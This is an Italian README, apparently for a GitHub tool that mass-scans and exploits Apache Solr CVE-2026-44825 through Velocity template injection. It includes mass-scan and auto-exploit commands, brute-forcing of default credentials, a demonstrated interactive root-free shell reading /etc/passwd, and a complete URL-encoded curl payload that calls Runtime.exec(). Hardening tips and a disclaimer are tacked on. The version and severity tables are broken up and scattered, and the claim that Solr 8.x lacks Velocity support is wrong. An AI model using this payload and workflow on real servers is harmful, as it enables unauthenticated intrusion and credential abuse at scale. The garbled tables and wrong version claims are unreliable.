
☄️ Framework di ricognizione e sfruttamento di massa per Apache Solr CVE-2026-44825 — Iniezione di template Velocity a RCE
CVE-2026-44825 è una vulnerabilità di gravità critica in Apache Solr che consente agli aggressori di ottenere Esecuzione di Codice Remoto (RCE) non autenticata tramite injection di template Velocity.
L'endpoint /select di Apache Solr accetta un parametro wt=velocity che renderizza template Velocity forniti dall'utente. Quando il Velocity Response Writer è abilitato (o può essere abilitato tramite API di configurazione), un aggressore può iniettare un template dannoso che chiama java.lang.Runtime.exec(), eseguendo comandi arbitrari del sistema con i privilegi del processo Solr.
| Vettore | Gravità | Impatto |
|---|---|---|
| RCE non autenticata |
Apache Solr include Apache Velocity come motore di template opzionale per il rendering delle risposte. La vulnerabilità risiede nel VelocityResponseWriter di Solr che elabora i parametri template controllati dall'utente senza un'adeguata sanificazione, consentendo l'invocazione diretta delle API di reflection di Java:
Catena di Reflection Java:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
Nota: I controlli di versione vengono eseguiti automaticamente analizzando la risposta JSON di
/admin/info/system.
# Clona il repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Installa le dipendenze
pip install -r requirements.txt
# Verifica
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
Solo librerie standard +
requests. Nessuna dipendenza esotica.
Scanner Apache Solr CVE-2026-44825
-t, --target URL singolo target o IP[:porta]
-f, --file File contenente i target (uno per riga, # per commenti)
--exploit Auto-exploit se vengono trovate credenziali vulnerabili
--rce Avvia shell interattiva dopo l'autenticazione
-u, --user Nome utente per Basic Auth
-pw, --password Password per Basic Auth
-o, --output Percorso file output JSON (default: solr_results.json)
-w, --workers Numero di thread concorrenti (default: 30)
-T, --timeout Timeout richieste HTTP (secondi) (default: 8)
# Singolo target
python solr_scanner.py -t 192.168.1.100:8983
# Singolo target con percorso personalizzato
python solr_scanner.py -t http://example.com/solr
# Scansione di massa da file
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — supporta commenti e righe vuote
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR non supportato; espandere con strumento esterno)
# Scansiona + auto-exploit se trovate credenziali
python solr_scanner.py -f targets.txt --exploit
# Credenziali note + shell interattiva
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Brute-force automatico + shell in caso di successo
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
Scanner Apache Solr CVE-2026-44825
Target: 3 | Thread: 30 | Timeout: 8s
Scansione in corso...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Fatto. Totale:3 | Solr:3 | Vuln:1
Tutti e 3 i target rilevati. L'istanza 9.4.1 è contrassegnata come vulnerabile con Basic Auth abilitato.
$ python solr_scanner.py -t solr-target.internal
Scanner Apache Solr CVE-2026-44825
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
La credenziale predefinita
admin:SolrRocksconcede l'accesso alle API admin di Solr. Quattro collezioni scoperte.
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
Scanner Apache Solr CVE-2026-44825
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
Accesso completo alla shell interattiva con i privilegi del processo Java di Solr.
Per i ricercatori che vogliono comprendere lo scambio HTTP grezzo:
Passo 1 — Verifica che Solr sia raggiungibile
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"
Passo 2 — Elenca le collezioni disponibili
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}
Passo 3 — Esegui comando tramite iniezione di template Velocity
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
'http://target:8983/solr/cms/select'
Payload del template Velocity decodificato:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
Risposta:
uid=8983(solr) gid=8983(solr) groups=8983(solr)
┌──────────────────────────────────────────────────────┐
│ SOLRRADAR │
├───────────────┬──────────────────────────────────────┤
│ FASE DI RICOGNIZIONE │ FASE DI EXPLOIT │
│ │ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Rileva │──┼──▶ Brute- │───▶│ Iniezione │ │
│ │ Solr │ │ │ force │ │ Template │ │
│ └────┬────┘ │ └────┬─────┘ │ Velocity RCE │ │
│ │ │ │ └───────┬────────┘ │
│ ▼ │ ▼ ▼ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Controllo│ │ │ Credenziali │ Runtime.exec() │ │
│ │ Versione │ │ │ Predefinite│ │ → RCE │ │
│ └─────────┘ │ └──────────┘ └────────────────┘ │
│ │ │
│ ┌─────────┐ │ ┌────────────────────────────────┐ │
│ │ Sondaggio│ │ │ Shell Interattiva (--rce) │ │
│ │ Auth │ │ └────────────────────────────────┘ │
│ └─────────┘ │ │
└───────────────┴──────────────────────────────────────┘
URL Target
│
▼
┌─────────────┐
│ normalizza │ → aggiungi http:// + /solr se mancante
└──────┬──────┘
│
▼
┌─────────────┐ No
│ GET /admin/ ├──────── Salta target
│ info/system │
└──────┬──────┘
│ Sì (200/401)
▼
┌─────────────┐
│ Analizza │ → estrai solr-spec-version
│ JSON │
│ fingerprint │
└──────┬──────┘
│
▼
┌─────────────┐
│ is_vuln() │ → 9.4–9.10.x o 10.0.0 ?
└──────┬──────┘
│
├── Non vuln → Segnala, prosegui
│
▼ Vuln
┌─────────────┐
│ Controllo │ → /admin/cores?action=STATUS
│ auth │ → /admin/collections?action=LIST
│ (3 fasi) │
└──────┬──────┘
│
├── Nessuna auth → Tenta elenco non autenticato
│
▼ Auth rilevata
┌─────────────┐
│ Brute-force │ → 4 utenti × 8 password = 32 tentativi
│ credenziali │
└──────┬──────┘
│
├── Nessuna corrispondenza → Segnala vuln (senza credenziali)
│
▼ Credenziali trovate
┌─────────────┐
│ Elenca cols/│ → /admin/collections o /admin/cores
│ cores │
└──────┬──────┘
│
▼
┌─────────────┐
│ RCE via │ → POST /{collection}/select
│ Velocity │ → Template Velocity → Runtime.exec()
└─────────────┘
bool(Response[401]) == False è ImportanteUn subdolo errore Python scoperto durante lo sviluppo:
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False # ← Le risposte 4xx/5xx restituiscono False!
Questo significa che ogni controllo if response and ... salta silenziosamente le risposte di errore — anche quando si vuole gestire specificamente il 401. La correzione è usare sempre if response is not None and ...:
# ❌ Errato — Le risposte 401 vengono saltate silenziosamente
if r and r.status_code == 401:
auth = True
# ✅ Corretto — Controllo esplicito per None
if r is not None and r.status_code == 401:
auth = True
Lo scanner utilizza una strategia di rilevamento a 3 livelli per minimizzare i falsi negativi:
'solr' in response.text.lower()
Rileva Solr nelle chiavi JSON ("solr_home", "solr-spec-version", "mode":"solrcloud"), nei dashboard HTML e nelle pagine di errore — senza distinzione tra maiuscole e minuscole.
'solr' in response.headers.get('Server', '').lower()
Alcune distribuzioni includono "Solr" nell'intestazione HTTP Server.
# Fase 1: Verifica codice risposta di /admin/info/system
# Fase 2: Sonda /admin/cores?action=STATUS per 401
# Fase 3: Sonda /admin/collections?action=LIST per 401
Rileva distribuzioni in cui /admin/info/system è pubblico ma le operazioni admin richiedono autenticazione.
Due pattern regex per robustezza:
VERSION_RE = [
r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version
r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version
]
Se stai eseguendo Apache Solr, applica queste misure di hardening immediatamente:
# Aggiorna a una versione corretta
# Solr 9.x → 9.10.2 o successiva
# Solr 10.x → 10.0.1 o successiva
<!-- In solrconfig.xml — RIMUOVI o COMMENTA: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->
# Limita l'accesso agli endpoint admin di Solr a livello di rete
# Consenti solo a range IP fidati di accedere alle porte 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP
# Usa questo scanner contro la tua INFRASTRUTTURA
python solr_scanner.py -f mie_istanze_solr.txt -o risultati_audit.json
🚨 SOLO A SCOPO EDUCATIVO & DI TEST AUTORIZZATI
Questo software è fornito esclusivamente a scopo educativo e per ricerca di sicurezza legittima. È destinato all'uso da parte di:
- 🛡️ Professionisti della sicurezza che conducono test di penetrazione autorizzati
- 🏢 Organizzazioni che controllano la propria infrastruttura Apache Solr
- 🔬 Ricercatori che studiano tecniche di sfruttamento delle vulnerabilità
- 🎓 Studenti che imparano la sicurezza delle applicazioni web
❌ Non puoi utilizzare questo software per:
- Accedere a sistemi informatici senza esplicita autorizzazione scritta
- Compromettere, danneggiare o interrompere sistemi che non possiedi
- Impegnarti in attività illegali di qualsiasi tipo
⚖️ Avviso Legale
L'accesso non autorizzato a sistemi informatici viola leggi tra cui, ma non solo:
- Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Unione Europea: Direttiva 2013/40/UE
- Regno Unito: Computer Misuse Act 1990
Gli autori NON SI ASSUMONO ALCUNA RESPONSABILITÀ per qualsiasi uso improprio, danno o conseguenza legale derivante dall'uso di questo strumento. Utilizzando questo software, riconosci di essere l'unico responsabile delle tue azioni e accetti di rispettare tutte le leggi applicabili.
⚡ Costruito con precisione per la comunità di ricerca sulla sicurezza ⚡
Apache® e Apache Solr® sono marchi registrati di Apache Software Foundation.
Questo progetto non è affiliato né approvato da Apache Software Foundation.
| Compromissione completa del sistema |
| RCE autenticata | 8.8 (Alta) | Esecuzione di codice post-autenticazione |
| Divulgazione di informazioni | 5.3 (Media) | Enumerazione di core/collezioni |
| Versione Apache Solr | Stato | Note |
|---|
| 9.4.0 – 9.10.1 | 🔴 Vulnerabile | Sfruttamento attivo in natura |
| 10.0.0 | 🔴 Vulnerabile | Versione iniziale 10.x affetta |
| 10.0.1+ | 🟢 Corretta | Fix backportato |
| 9.10.2+ | 🟢 Corretta | Patch disponibile |
| ≤ 9.3.x | 🟢 Non Affetta | Velocity Response Writer non presente |
| 8.x (tutte) | 🟢 Non Affetta | Nessun supporto Velocity |
🔍 Ricognizione
|
💀 Exploitation
|
| Risorsa | Link |
|---|
| Voce NVD | CVE-2026-44825 |
| Sicurezza Apache Solr | solr.apache.org/security |
| Documentazione Velocity Solr | Velocity Response Writer |
| OWASP Template Injection | Server-Side Template Injection |